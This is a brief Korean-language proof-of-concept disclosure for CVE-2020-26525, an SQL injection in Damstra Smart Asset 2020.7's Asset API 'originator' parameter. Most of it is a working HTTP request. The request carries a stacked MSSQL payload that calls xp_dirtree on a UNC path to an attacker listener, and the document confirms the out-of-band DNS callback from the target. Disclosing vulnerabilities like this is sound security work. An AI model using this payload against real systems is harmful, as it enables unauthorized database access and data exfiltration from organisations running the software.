SmartAsset-SQLinj-CVE-2020-26525

Damstra Smart Asset 2020.7에는 API/api/Asset의 originator 매개변수를 통한 SQL 인젝션 취약점이 존재합니다.

Smart Asset - 버전 2020.7

CVE-2020-26525

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HTTP 요청:

GET /API/api/Asset?assetCode=XXX-08-X-01-06-01& originator=FIRSTNAME.LASTNAME'%3bdeclare%20@q%20varchar(99)%3bset%20@q%3d'%5c%5c<>%5cqoe'%3b%20exec%20master.dbo.xp_dirtree%20@q%3b--%20 HTTP/1.1 Authorization: Bearer eyJhbGc ... Cookie: _ga=GA1.3.1950130407.1600387365; _gid=GA1.3.1208628208.1600387365; ajs_group_id=null; intercom-id-zk1ecu97=47f0bf3f-35aa-4f97-9239-456XXa65; intercom-session-zkXX97=

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HTTP 응답:

HTTP/1.1 401 Unauthorized Cache-Control: no-cache Pragma: no-cache Content-Type: application/json; charset=utf-8 <>

"Originator provided does not match originator stored within token!"

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원격 리스너 서버는 target.url.com으로부터 도메인 이름 <>에 대한 A DNS 조회를 수신했습니다.

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[발견자] Lukasz Studniarz